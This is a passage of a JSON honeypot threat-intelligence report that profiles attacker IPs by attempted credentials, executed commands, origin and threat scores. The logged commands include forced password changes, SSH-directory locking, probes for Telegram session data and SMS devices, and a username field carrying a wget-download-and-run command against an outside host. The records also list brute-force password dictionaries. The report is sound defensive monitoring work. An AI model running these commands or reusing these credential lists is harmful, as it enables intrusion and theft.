        "echo \"12345\\nu2bdd3Dfv3fo\\nu2bdd3Dfv3fo\\n\"|passwd",
        "echo -e \"12345\\nu2bdd3Dfv3fo\\nu2bdd3Dfv3fo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:17:00.960000+00:00",
        "last_seen_30d": "2026-03-16T14:59:16.570000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 28
      }
    },
    "107.170.6.195": {
      "attack_count": 110,
      "first_seen": "2026-03-02T06:16:42.441Z",
      "last_seen": "2026-03-02T06:41:16.324Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "Password1",
        "admin",
        "admin123",
        "docker",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:16:42.441000+00:00",
        "last_seen_30d": "2026-03-02T06:42:23.811000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 50
      }
    },
    "188.166.103.185": {
      "attack_count": 110,
      "first_seen": "2026-03-03T12:35:54.285Z",
      "last_seen": "2026-03-03T12:51:28.316Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:35:38.792000+00:00",
        "last_seen_30d": "2026-03-03T12:52:30.950000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 46
      }
    },
    "143.110.137.94": {
      "attack_count": 104,
      "first_seen": "2026-03-11T04:02:44.171Z",
      "last_seen": "2026-03-11T04:34:45.506Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "lcx",
        "root",
        "345gs5662d34",
        "cs",
        "ftpuser1",
        "tian",
        "x"
      ],
      "passwords_attempted": [
        "12345",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Lcx123!",
        "Tian123",
        "Tiger123",
        "root_root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Lcx123!\\nqomKqTLhcm2Y\\nqomKqTLhcm2Y\\n\"|passwd",
        "echo -e \"Lcx123!\\nqomKqTLhcm2Y\\nqomKqTLhcm2Y\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:02:44.171000+00:00",
        "last_seen_30d": "2026-03-11T04:35:48.745000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 22
      }
    },
    "101.47.140.255": {
      "attack_count": 102,
      "first_seen": "2026-03-02T23:02:40.542Z",
      "last_seen": "2026-03-02T23:52:13.431Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1233218613",
        "12345678Abc",
        "123qweASD",
        "345gs5662d34",
        "Aa123654@",
        "Welcome123@",
        "hasan123",
        "qwerty1234",
        "qwerty22"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:02:40.542000+00:00",
        "last_seen_30d": "2026-03-02T23:53:19.779000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 31
      }
    },
    "41.220.144.172": {
      "attack_count": 96,
      "first_seen": "2026-03-23T20:29:57.130Z",
      "last_seen": "2026-03-30T03:27:44.422Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "alfred",
        "345gs5662d34",
        "pedro",
        "super"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "alfred",
        "pedro1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"alfred\\nxVM6nVij6cYm\\nxVM6nVij6cYm\\n\"|passwd",
        "echo -e \"alfred\\nxVM6nVij6cYm\\nxVM6nVij6cYm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 327931,
      "as_org": "Optimum-Telecom-Algeria",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:29:57.130000+00:00",
        "last_seen_30d": "2026-03-30T03:28:45.625000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 24
      }
    },
    "134.122.121.56": {
      "attack_count": 94,
      "first_seen": "2026-03-11T13:58:17.920Z",
      "last_seen": "2026-03-11T14:20:59.995Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "rdp",
        "345gs5662d34",
        "lan",
        "n8n",
        "planka",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty11",
        "Rdp123",
        "n8n",
        "planka123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Rdp123\\n27CybI6ZO1kb\\n27CybI6ZO1kb\\n\"|passwd",
        "echo -e \"Rdp123\\n27CybI6ZO1kb\\n27CybI6ZO1kb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:58:17.920000+00:00",
        "last_seen_30d": "2026-03-11T14:22:04.425000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 18
      }
    },
    "27.150.188.148": {
      "attack_count": 94,
      "first_seen": "2026-03-09T00:07:19.059Z",
      "last_seen": "2026-03-11T14:21:51.244Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfredo",
        "bitrix",
        "deamon",
        "hsadmin",
        "macha",
        "mexal",
        "patricia",
        "ts3server",
        "ubuntu",
        "user2",
        "vpnbot"
      ],
      "passwords_attempted": [
        "123",
        "345gs5662d34",
        "1234",
        "12345678",
        "3245gs5662d34",
        "Bitrix123",
        "Deamon123",
        "abcd1234",
        "alfredo",
        "password123",
        "ts3server123!",
        "vpnbot123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T00:07:19.059000+00:00",
        "last_seen_30d": "2026-03-11T14:26:14.268000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 51
      }
    },
    "14.103.107.250": {
      "attack_count": 72,
      "first_seen": "2026-03-02T20:18:55.578Z",
      "last_seen": "2026-03-15T07:21:07.236Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "administrator",
        "andre",
        "deploy",
        "promo"
      ],
      "passwords_attempted": [
        "123",
        "123qweasd",
        "21ops.comM",
        "Promo123!",
        "ZL123456@",
        "administrator1234",
        "assign"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:18:55.578000+00:00",
        "last_seen_30d": "2026-03-15T07:31:46.112000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 48
      }
    },
    "68.183.14.192": {
      "attack_count": 70,
      "first_seen": "2026-03-15T21:58:25.872Z",
      "last_seen": "2026-03-15T22:12:59.425Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:58:25.872000+00:00",
        "last_seen_30d": "2026-03-15T22:14:04.691000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 30
      }
    },
    "85.30.212.23": {
      "attack_count": 42,
      "first_seen": "2026-03-07T09:24:06.699Z",
      "last_seen": "2026-03-23T02:55:25.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:24:06.699000+00:00",
        "last_seen_30d": "2026-03-23T02:57:41.747000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 8
      }
    },
    "143.244.190.213": {
      "attack_count": 35,
      "first_seen": "2026-03-05T09:12:21.381Z",
      "last_seen": "2026-03-05T09:25:52.923Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solv",
        "solana"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "sol",
        "solana",
        "solv"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:10:05.178000+00:00",
        "last_seen_30d": "2026-03-05T09:26:53.376000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 18
      }
    },
    "51.159.22.232": {
      "attack_count": 30,
      "first_seen": "2026-03-10T10:39:35.277Z",
      "last_seen": "2026-03-10T10:39:49.685Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "admin321",
        "jj1314520",
        "mjj123456",
        "softbiz4"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:39:35.277000+00:00",
        "last_seen_30d": "2026-03-10T10:40:54.211000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "94.243.14.114": {
      "attack_count": 30,
      "first_seen": "2026-03-09T13:13:18.030Z",
      "last_seen": "2026-03-09T13:16:36.695Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:13:18.030000+00:00",
        "last_seen_30d": "2026-03-09T13:26:38.223000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "188.166.54.43": {
      "attack_count": 28,
      "first_seen": "2026-03-04T23:52:08.300Z",
      "last_seen": "2026-03-05T09:10:58.436Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T23:51:12.962000+00:00",
        "last_seen_30d": "2026-03-05T09:12:03.568000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 24
      }
    },
    "183.166.94.133": {
      "attack_count": 27,
      "first_seen": "2026-03-27T15:05:59.598Z",
      "last_seen": "2026-03-27T15:33:32.308Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!qaz2wsx1234",
        "20252026",
        "Hh123456789"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T15:05:59.598000+00:00",
        "last_seen_30d": "2026-03-27T15:43:33.077000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 17
      }
    },
    "86.61.71.238": {
      "attack_count": 21,
      "first_seen": "2026-03-06T02:46:41.693Z",
      "last_seen": "2026-03-06T02:48:28.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1234",
        "7ujMko0vizxv",
        "Win1doW$",
        "ikwb",
        "zhongxing"
      ],
      "commands_executed": [
        "shell",
        "system",
        "/bin/busybox UMZUH",
        "cat /proc/mounts; /bin/busybox UMZUH",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UMZUH",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "sh",
        "tftp; wget; /bin/busybox UMZUH",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Slovenia",
      "country_code": "SI",
      "city": "Ljubljana",
      "asn": 5603,
      "as_org": "Telekom Slovenije, d.d.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:46:41.693000+00:00",
        "last_seen_30d": "2026-03-06T02:49:36.978000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 2
      }
    },
    "91.224.92.177": {
      "attack_count": 19,
      "first_seen": "2026-03-10T15:37:33.823Z",
      "last_seen": "2026-03-12T01:16:05.785Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cd /tmp; wget http://94.156.152.67/hola.sh; chmod 777 hola.sh; sh hola.sh; rm hola.sh"
      ],
      "passwords_attempted": [
        "admin",
        "IMPOSSIBLE_PASSWORD_XYZ123!@#$%^&*()",
        "echo INFECTED_BY_CVE2026",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1401,
        "days_active_30d": 30,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:19:09+00:00",
        "last_seen_30d": "2026-03-31T23:26:19.210000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1030,
        "Honeytrap": 220,
        "Honeyaml": 131,
        "Cowrie": 19,
        "Tanner": 1
      }
    },
    "38.188.160.28": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:39:34.205Z",
      "last_seen": "2026-03-10T23:47:06.892Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "291090",
        "coca",
